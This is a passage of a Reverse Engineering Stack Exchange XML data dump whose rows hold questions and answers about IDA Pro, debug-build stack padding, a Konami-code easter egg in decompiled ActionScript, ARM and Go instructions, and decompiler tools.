&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a screen shot where ida wasn't sure what the type was for a &lt;code&gt;CRITICAL_SECTION&lt;/code&gt; pointer manually applying the structure to the address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AfrcS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AfrcS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-03-09T21:10:25.833" LastActivityDate="2018-03-09T21:10:25.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17648" PostTypeId="1" AcceptedAnswerId="17853" CreationDate="2018-03-10T07:43:54.650" Score="3" ViewCount="282" Body="&lt;p&gt;I'm reading the IDA Pro book and in chapter 20 the author shows the following code from a debug build:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp, esp&#xA;sub esp, 0F0h&#xA;push ebx&#xA;push esi&#xA;push edi &#xA;lea edi, [ebp+var_F0]&#xA;mov ecx, 3Ch&#xA;mov eax, 0CCCCCCCCh&#xA;rep stosd&#xA;mov[ebp+var_8], 0&#xA;mov [ebp+var_14], 1&#xA;mov [ebp+var_20], 2&#xA;mov [ebp+var_2C], 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see the local variables are not adjacent to each other. Chris Eagle outlines that this makes it easier to detect  overflows from one variable that may spill into and corrupt another variable, and then he just left it at that. That doesn't make sense to me, isn't it easier to just set a breakpoint after a specific operation that could cause an overflow and then check the value of variable? How exactly is this more useful?&lt;/p&gt;&#xA;" OwnerUserId="14535" LastEditorUserId="14535" LastEditDate="2018-03-30T01:12:42.123" LastActivityDate="2018-03-30T12:48:54.943" Title="Debug vs Release binaries - Overflow detection" Tags="|ida|ollydbg|buffer-overflow|software-security|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17649" PostTypeId="1" AcceptedAnswerId="17650" CreationDate="2018-03-10T09:01:23.097" Score="1" ViewCount="147" Body="&lt;p&gt;I've been recently looking through decompiled AS3 code from Ubisoft's &quot;The Settlers Online&quot; and found an easter egg along with something that looked like trigger, but - as I have never read AS3 before, and even if - decompiled code is often too obscure to understand, even for experienced coders , not to say for me. so, here I came up with question: anyone has a clue how to trigger that easter contained in this tiny AS3 snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;package Utils&#xA;{&#xA;   import flash.events.KeyboardEvent;&#xA;   import flash.ui.Keyboard;&#xA;   import mx.core.UIComponent;&#xA;&#xA;   public class RabbidCode&#xA;   {&#xA;&#xA;&#xA;      private var sequence:Array;&#xA;&#xA;      public function RabbidCode()&#xA;      {&#xA;         while(true)&#xA;         {&#xA;            while(true)&#xA;            {&#xA;               switch(0)&#xA;               {&#xA;                  case 0:&#xA;                     super();&#xA;                     this.reset();&#xA;                     (global.getApplication() as UIComponent).stage.addEventListener(KeyboardEvent.KEY_UP,this.handleKeyUp);&#xA;                     return;&#xA;                  case 1:&#xA;                     continue;&#xA;               }&#xA;            }&#xA;         }&#xA;      }&#xA;&#xA;      private function handleKeyUp(param1:KeyboardEvent) : void&#xA;      {&#xA;         while(false)&#xA;         {&#xA;         }&#xA;         var _loc2_:int = this.sequence.shift();&#xA;         if(param1.keyCode == _loc2_)&#xA;         {&#xA;            if(this.sequence.length == 0)&#xA;            {&#xA;               this.action();&#xA;            }&#xA;            else&#xA;            {&#xA;               return;&#xA;            }&#xA;         }&#xA;         this.reset();&#xA;      }&#xA;&#xA;      private function action() : void&#xA;      {&#xA;         while(true)&#xA;         {&#xA;            while(true)&#xA;            {&#xA;               switch(0)&#xA;               {&#xA;                  case 0:&#xA;                     var _loc1_:* = [&quot;Graubart&quot;,&quot;Pandur&quot;,&quot;Amaris&quot;,&quot;Helene&quot;,&quot;Ravel&quot;,&quot;EnglishFellow&quot;,&quot;Shark&quot;,&quot;AJ&quot;,&quot;David&quot;,&quot;Ferhat&quot;,&quot;Kalle&quot;,&quot;Buan&quot;,&quot;Franck&quot;,&quot;Alexandra&quot;,&quot;Bine&quot;,&quot;Nils&quot;,&quot;ZockenMitKatze&quot;,&quot;Aenlin&quot;,&quot;Miriam&quot;,&quot;Crystaliq&quot;,&quot;Buddy&quot;,&quot;Céline&quot;,&quot;Ally&quot;,&quot;Jason&quot;,&quot;Omris&quot;,&quot;Orowa&quot;,&quot;Lyedra&quot;,&quot;Anna&quot;,&quot;Talamira&quot;,&quot;Taku&quot;,&quot;Throril&quot;,&quot;Naknaknak&quot;,&quot;Infran&quot;,&quot;Linki&quot;,&quot;Henning&quot;,&quot;Dzan&quot;,&quot;Sandra&quot;,&quot;Pherlin&quot;,&quot;Andreas&quot;,&quot;Alexander&quot;,&quot;Angel&quot;,&quot;Bogdan&quot;,&quot;Carlos&quot;,&quot;Chris&quot;,&quot;Claudiu&quot;,&quot;Denis&quot;,&quot;Ignacio&quot;,&quot;Linda&quot;,&quot;Marcel&quot;,&quot;Matthias&quot;,&quot;Michael&quot;,&quot;Mirco&quot;,&quot;Oliver&quot;,&quot;Paul&quot;,&quot;Catalin&quot;,&quot;Bob&quot;,&quot;Rudi&quot;,&quot;Ruslan&quot;,&quot;Simon&quot;,&quot;Sonja&quot;,&quot;Stefan&quot;,&quot;Tobias&quot;,&quot;Jakub&quot;,&quot;Violeta&quot;,&quot;Maggie&quot;,&quot;Clara&quot;,&quot;Erkan&quot;,&quot;Sabrina&quot;,&quot;Sebastian&quot;,&quot;Patrick&quot;,&quot;Aeyline&quot;,&quot;Penelopa&quot;,&quot;Ondgrund&quot;,&quot;Belegha&quot;,&quot;Acadma&quot;,&quot;Omris&quot;,&quot;Amta&quot;,&quot;Maxhylere&quot;,&quot;Kumakun&quot;,&quot;Orowa&quot;,&quot;Saqui&quot;,&quot;Nanuq&quot;,&quot;Taku&quot;,&quot;Aylea&quot;,&quot;Anash&quot;,&quot;Zoltan&quot;,&quot;Grubur&quot;,&quot;Veythyru&quot;];&#xA;                     global.ui.mCurrentPlayerZone.mSettlerKIManager.setNameList(_loc1_);&#xA;                     return;&#xA;                  case 1:&#xA;                     continue;&#xA;               }&#xA;            }&#xA;         }&#xA;      }&#xA;&#xA;      private function reset() : void&#xA;      {&#xA;         while(false)&#xA;         {&#xA;         }&#xA;         this.sequence = [Keyboard.UP,Keyboard.UP,Keyboard.DOWN,Keyboard.DOWN,Keyboard.LEFT,Keyboard.RIGHT,Keyboard.LEFT,Keyboard.RIGHT,&quot;B&quot;.charCodeAt(0),&quot;A&quot;.charCodeAt(0)];&#xA;      }&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4114" LastActivityDate="2018-07-31T04:15:49.880" Title="found easter egg (incl releasing trigger) in as code, but no clue how to fire it" Tags="|disassembly|flash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17650" PostTypeId="2" ParentId="17649" CreationDate="2018-03-10T10:58:14.057" Score="4" Body="&lt;p&gt;This combination (&lt;kbd&gt;up&lt;/kbd&gt;, &lt;kbd&gt;up&lt;/kbd&gt;, &lt;kbd&gt;down&lt;/kbd&gt;, &lt;kbd&gt;down&lt;/kbd&gt;, &lt;kbd&gt;left&lt;/kbd&gt;, &lt;kbd&gt;right&lt;/kbd&gt;, &lt;kbd&gt;left&lt;/kbd&gt;, &lt;kbd&gt;right&lt;/kbd&gt;, &lt;kbd&gt;A&lt;/kbd&gt;, &lt;kbd&gt;B&lt;/kbd&gt;) is a well known &lt;a href=&quot;https://en.wikipedia.org/wiki/Konami_Code&quot; rel=&quot;nofollow noreferrer&quot;&gt;Konami code&lt;/a&gt; so just pressing those keys should trigger it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real question here is when, or if at all this code is loaded so that it actually is hooked-up and can be triggered.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2018-07-31T04:15:49.880" LastActivityDate="2018-07-31T04:15:49.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17651" PostTypeId="2" ParentId="15396" CreationDate="2018-03-10T16:24:26.763" Score="1" Body="&lt;pre&gt;&lt;code&gt;rv = idaapi.regval_t()&#xA;idaapi.get_reg_val(&quot;xmm0&quot;, rv)&#xA;print (rv.bytes().encode('hex'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you the raw 256 bit value of the xmm0 register. Depending on how the program you're debugging is using the register, this might contain various things. In my case, the code I'm debugging uses it as 4 floating point values. To parse them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import struct&#xA;print(struct.unpack('ffff', rv.bytes()))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if your debuggee is using the register as two doubles, you would use 'dd' instead of 'ffff'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, look up the SDK documentation instead of the (not very good) IDAPython documentation. Here's the relevant page for this: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/structregval__t.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/sdkdoc/structregval__t.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23568" LastEditorUserId="23568" LastEditDate="2018-03-10T16:49:17.487" LastActivityDate="2018-03-10T16:49:17.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17653" PostTypeId="1" CreationDate="2018-03-11T00:24:48.407" Score="2" ViewCount="488" Body="&lt;p&gt;I am reversing an x86 ELF shared object library. Perhaps because of position independence, all functions begin with loading a constant offset into a register:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[... function prologue ...]&#xA;call    $+5&#xA;pop     eax             ; eax = eip = 0x4E2B&#xA;add     eax, 1009Dh     ; eax = 0x14EC8 = start of .got.plt section&#xA;mov     byte ptr [eax+194h], 0ACh&#xA;mov     dword ptr [eax+190h], 968CC5DEh&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first two instructions set &lt;code&gt;eax&lt;/code&gt; to the current instruction's address. Then a constant offset is added, this offset is probably calculated during linking. &#xA;From there on, all addresses are referenced relative &lt;code&gt;eax&lt;/code&gt; (in this case, they point into the &lt;code&gt;.bss&lt;/code&gt; segment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can manually calculate all addresses since the value of &lt;code&gt;eax&lt;/code&gt; is fixed. Is there an automated way to resolve these fixed-register-offsets in IDA, such that IDA can properly resolve X-refs, etc?&lt;/p&gt;&#xA;" OwnerUserId="23571" LastActivityDate="2018-03-11T00:24:48.407" Title="How do I resolve addresses relative to a register in IDA?" Tags="|ida|pie|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17654" PostTypeId="2" ParentId="17604" CreationDate="2018-03-11T01:22:11.100" Score="3" Body="&lt;p&gt;Set a breakpoint on the &quot;VM exit&quot; instruction (though there may be more than one of these if the sample is using the multiple VM option, whose proper name I don't recall). From here you can see where the VM transfers control when it exits. It will exit several times during &quot;packer&quot; mode. Eventually it will exit to OEP.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2018-03-11T01:22:11.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17656" PostTypeId="1" CreationDate="2018-03-11T15:57:48.160" Score="2" ViewCount="254" Body="&lt;p&gt;I am new to disassembly, and I'm trying to understand how a 32 bit binary is operating. I have the evaluation (free) version, 32 bit (&lt;code&gt;Version 7.0.170920 macOS x86_64 (32-bit address size)&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm used to debugging by stepping through a program, reading variables as necessary. I don't see an ability to do this in IDA, but I assume it must be there, and I'm simply missing it. (Having seen &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11601/how-can-i-step-through-instructions-in-ida-and-know-the-current-eip&quot;&gt;this question about python&lt;/a&gt; and &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13520/stepping-through-arm-firmware-image#13529&quot;&gt;this question about ARM&lt;/a&gt;, surely this must be an option for 32 bit binaries...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also totally open to suggestions for a different disassembler than IDA, but I'm looking for something that is free - at least for an evaluation period of several days.&lt;/p&gt;&#xA;" OwnerUserId="23575" LastActivityDate="2018-06-18T00:13:59.063" Title="Can I step through a binary with IDA (eval version), reading registers step-wise?" Tags="|ida|debugging|disassemblers|register|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17657" PostTypeId="1" CreationDate="2018-03-11T16:12:40.747" Score="1" ViewCount="2084" Body="&lt;p&gt;I looking another tool besides ida to get high level code from binary file.(like oda pesudocode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the high level is not perfect on every tool, but I want try another tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code compile to arm.&lt;/p&gt;&#xA;" OwnerUserId="23577" LastActivityDate="2022-01-25T14:47:05.283" Title="Tool besides ida to get high level code" Tags="|ida|disassembly|decompilation|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17658" PostTypeId="2" ParentId="17657" CreationDate="2018-03-11T16:32:59.380" Score="1" Body="&lt;p&gt;Try the &lt;a href=&quot;https://github.com/avast-tl/retdec&quot; rel=&quot;nofollow noreferrer&quot;&gt;Retargetable Decompiler&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hugsy has developed a &lt;a href=&quot;https://binary.ninja/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binary Ninja&lt;/a&gt; plugin to decompile binaries using the RetDec API called &lt;a href=&quot;https://github.com/hugsy/binja-retdec&quot; rel=&quot;nofollow noreferrer&quot;&gt;binja-retdec&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-03-11T16:32:59.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17659" PostTypeId="1" CreationDate="2018-03-11T17:16:25.010" Score="1" ViewCount="1792" Body="&lt;p&gt;I have 2 function that I want to find a connection between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For ex.  maybe there is function 5level up that called to those function, or another complicate connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find it with ida or another tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks on graphes not help me ,I have more than 1000 functions&lt;/p&gt;&#xA;" OwnerUserId="23200" LastActivityDate="2018-03-12T15:03:09.990" Title="Ida- how to find connection between 2 functions" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17660" PostTypeId="1" CreationDate="2018-03-11T18:53:09.567" Score="2" ViewCount="1202" Body="&lt;p&gt;I am trying to get a DLL from an older version of Windows work on a newer version. I already patched the code to skip over the call to the missing import, but I now want to remove that ordinal import from the import table such that the DLL can be loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easy way to skip over an import in the import table without having to shift all the subsequent imports back by one spot?&lt;/p&gt;&#xA;" OwnerUserId="23579" LastActivityDate="2018-06-17T23:13:55.377" Title="What's the easiest way to remove an import from the import table?" Tags="|ida|pe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17661" PostTypeId="2" ParentId="17657" CreationDate="2018-03-12T08:11:13.487" Score="0" Body="&lt;p&gt;If you are using a Mac or Linux, &lt;a href=&quot;https:///www.hopperapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hopper&lt;/a&gt; is a product worth checking out.&lt;/p&gt;&#xA;" OwnerUserId="4658" LastActivityDate="2018-03-12T08:11:13.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17663" PostTypeId="1" AcceptedAnswerId="17919" CreationDate="2018-03-12T12:10:38.663" Score="7" ViewCount="2803" Body="&lt;p&gt;I looked at two ways so far. Both did not convince me in regard to false positives or false negatives:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using strings: &lt;a href=&quot;https://stackoverflow.com/questions/2387040/how-to-retrieve-the-gcc-version-used-to-compile-a-given-elf-executable&quot;&gt;How to retrieve the GCC version used to compile a given ELF executable?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the linker version field in the PE header: &lt;a href=&quot;https://stackoverflow.com/questions/40831299/can-i-tell-what-version-of-visual-studio-was-used-to-build-a-dll-by-examining-th&quot;&gt;Can I tell what version of Visual Studio was used to build a DLL by examining the DLL itself?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What is a good heuristic to tell if a PE executable was compiled with VisualStudio/gcc ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, are there certain strings, header values, sections, imports, etc. that allow to differentiate one from the other? The exact compiler versions and used compiler flags do not matter...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also not expecting malicious executables.&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="53" LastEditDate="2018-03-13T16:08:00.327" LastActivityDate="2020-02-27T17:38:20.780" Title="How to find out if PE executable was compiled with gcc or VisualStudio?" Tags="|pe|executable|compilers|binary-format|gcc|" AnswerCount="5" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17664" PostTypeId="2" ParentId="17659" CreationDate="2018-03-12T15:03:09.990" Score="7" Body="&lt;p&gt;Take the following &quot;Hello World!&quot; program as an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void Log(char* var) {&#xA;printf(var);&#xA;}&#xA;&#xA;int main() {&#xA;Log(&quot;Hello World!\n&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After compiling with &lt;code&gt;gcc&lt;/code&gt;, open that executable in IDA. First choose the function from where you want to start (e.g. &lt;code&gt;main&lt;/code&gt;). Go to the &lt;code&gt;main&lt;/code&gt; function, right click on the disassembly window (IDA view) and choose &lt;strong&gt;Proximity browser&lt;/strong&gt;. Alternatively press &lt;kbd&gt;Num - &lt;/kbd&gt; to open proximity browser or &lt;kbd&gt;Num +&lt;/kbd&gt; to open graph view. The window will be like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KUnN7.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KUnN7.png&quot; alt=&quot;Proximity_Browser&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click on the &lt;code&gt;main&lt;/code&gt; rectangle, select &lt;strong&gt;Collapse children&lt;/strong&gt; and then select &lt;strong&gt;Collapse parents&lt;/strong&gt;. Now right click on the blank area, select &lt;strong&gt;Add node by name&lt;/strong&gt;, choose your second function to which you want to connect &lt;code&gt;main()&lt;/code&gt;. Here for example I choose &lt;code&gt;printf()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6oy5M.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6oy5M.png&quot; alt=&quot;Find_path&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now right click in the &lt;code&gt;main&lt;/code&gt; rectangle, select &lt;strong&gt;Find path&lt;/strong&gt;, choose &lt;code&gt;printf&lt;/code&gt; from the find path window. You can see the connection between &lt;code&gt;main&lt;/code&gt; and &lt;code&gt;printf&lt;/code&gt; and also the intermediate &lt;code&gt;Log&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EBqB9.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EBqB9.png&quot; alt=&quot;main_printf_graph&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-03-12T15:03:09.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17665" PostTypeId="1" AcceptedAnswerId="17716" CreationDate="2018-03-12T16:05:52.833" Score="1" ViewCount="725" Body="&lt;p&gt;I'm reverse engineering an ARM binary written in Go, and the following code sequence occurs fairly often (from &lt;em&gt;runtime.cgoIsGoPointer&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BL  runtime.panicindex&#xA;DCD 0xF7FABCFD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or, from &lt;em&gt;runtime.panicmem&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BL  runtime.gopanic&#xA;DCD 0xF7FABCFD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0xF7FABCFD is an undefined instruction, so I'm curious what it's purpose is.  I think the answer may be related to &lt;a href=&quot;https://stackoverflow.com/questions/11140136/whats-the-purpose-of-the-ud2-opcode-in-the-linux-kernel&quot;&gt;this question&lt;/a&gt;, because compiling for x86 produces the following sequence of instructions in the corresponding functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;callq runtime.panicindex&#xA;ud2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;callq runtime.gopanic&#xA;ud2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like the linux kernel uses different instructions for this purpose.  From &lt;a href=&quot;https://elixir.bootlin.com/linux/v4.14.26/source/arch/arm/include/asm/bug.h#L9&quot; rel=&quot;nofollow noreferrer&quot;&gt;arch/arm/include/asm/bug.h&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * Use a suitable undefined instruction to use for ARM/Thumb2 bug handling.&#xA; * We need to be careful not to conflict with those used by other modules and&#xA; * the register_undef_hook() system.&#xA; */&#xA;#ifdef CONFIG_THUMB2_KERNEL&#xA;#define BUG_INSTR_VALUE 0xde02&#xA;#define BUG_INSTR(__value) __inst_thumb16(__value)&#xA;#else&#xA;#define BUG_INSTR_VALUE 0xe7f001f2&#xA;#define BUG_INSTR(__value) __inst_arm(__value)&#xA;#endif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But there is reference to 0xf7fabcfd in some of the Go internals.  From &lt;a href=&quot;https://golang.org/src/cmd/internal/obj/arm/asm5.go#L2744&quot; rel=&quot;nofollow noreferrer&quot;&gt;cmd/internal/obj/arm/asm5.go&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This is supposed to be something that stops execution.&#xA;// It's not supposed to be reached, ever, but if it is, we'd&#xA;// like to be able to tell how we got there. Assemble as&#xA;// 0xf7fabcfd which is guaranteed to raise undefined instruction&#xA;// exception.&#xA;case 96: /* UNDEF */&#xA;        o1 = 0xf7fabcfd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, can anyone confirm this suspicion and/or shed more light into why this is done?  Also, why not just use 0xe7f001f2 like the linux kernel does?&lt;/p&gt;&#xA;" OwnerUserId="23588" LastActivityDate="2018-03-16T20:06:05.940" Title="Undefined instruction in Go binary compiled for ARM" Tags="|disassembly|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17666" PostTypeId="1" CreationDate="2018-03-12T16:52:27.003" Score="8" ViewCount="37543" Body="&lt;pre&gt;&lt;code&gt;ldr r0, #0x28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What is the &lt;code&gt;ldr&lt;/code&gt; instruction ? Does it load a string from some offset?&#xA;How can I find the string/value that is actually loaded ?&lt;/p&gt;&#xA;" OwnerUserId="23589" LastEditorUserId="36437" LastEditDate="2021-04-09T23:44:42.767" LastActivityDate="2021-04-09T23:44:42.767" Title="How does the ldr instruction work on ARM?" Tags="|assembly|arm|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17667" PostTypeId="2" ParentId="17629" CreationDate="2018-03-12T16:56:20.150" Score="1" Body="&lt;p&gt;You need to put spaces between the class name, method name, and method descriptor. Also, you should prefix it with the constant pool type (&lt;code&gt;Method&lt;/code&gt; in this case). The correct way to write the method call would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;invokevirtual Method java/lang/String equals (Ljava/lang/Object;)Z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Krakatau will currently accept it if you leave out the &lt;code&gt;Method&lt;/code&gt; part, but that's not guaranteed to work in the future. Also, for future reference, please post the error you get when asking for help.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-03-12T16:56:20.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17668" PostTypeId="2" ParentId="17666" CreationDate="2018-03-12T17:38:50.757" Score="5" Body="&lt;p&gt;This can be simply translated into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r0 = 0x28;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In ARM assembly, the &lt;code&gt;#&lt;/code&gt; marks the immediate values and the &lt;code&gt;r0&lt;/code&gt;, &lt;code&gt;r1&lt;/code&gt;, ... are registers. The &lt;code&gt;ldr&lt;/code&gt; instruction can take the following syntactic forms (yours is the first line):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LDR{type}{cond} Rt, [Rn {, #offset}] ; immediate offset&#xA;LDR{type}{cond} Rt, [Rn, #offset]! ; pre-indexed&#xA;LDR{type}{cond} Rt, [Rn], #offset ; post-indexed&#xA;LDRD{cond} Rt, Rt2, [Rn {, #offset}] ; immediate offset, doubleword&#xA;LDRD{cond} Rt, Rt2, [Rn, #offset]! ; pre-indexed, doubleword&#xA;LDRD{cond} Rt, Rt2, [Rn], #offset ; post-indexed, doubleword &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-03-12T20:39:24.013" LastActivityDate="2018-03-12T20:39:24.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17670" PostTypeId="2" ParentId="15351" CreationDate="2018-03-12T20:41:11.427" Score="2" Body="&lt;p&gt;You can use Jetbrains' Rider. It has a 30 day free trial period.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open Rider and open or create a C# project&lt;/li&gt;&#xA;&lt;li&gt;Add a dependency to the .exe file (naturally, this also works for .dll). &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d1vwd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d1vwd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;In a class in your project, import the package and type the class you want to inspect. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2lA0A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2lA0A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Do Command+click or Command+B on the class name to trigger Rider's decompile option. Confirm if necessary. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The disadvantage is that we have to repeat step 4 for each class we want to decompile.&lt;/p&gt;&#xA;" OwnerUserId="23592" LastEditorUserId="23592" LastEditDate="2018-03-15T12:41:34.727" LastActivityDate="2018-03-15T12:41:34.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17671" PostTypeId="1" CreationDate="2018-03-12T21:21:59.587" Score="2" ViewCount="19617" Body="&lt;p&gt;I just read &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/17666/how-does-the-ldr-instruction-work-on-arm&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does mean an &quot;&lt;em&gt;immediate value&lt;/em&gt;&quot; ? Is there any string/ascii there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find this value on the binary file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the same code and when I search on 0x28 address I dont see any value.&lt;/p&gt;&#xA;" OwnerUserId="23594" LastEditorUserId="23440" LastEditDate="2018-04-04T11:42:03.957" LastActivityDate="2018-04-04T11:42:03.957" Title="What is an immediate value?" Tags="|assembly|arm|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
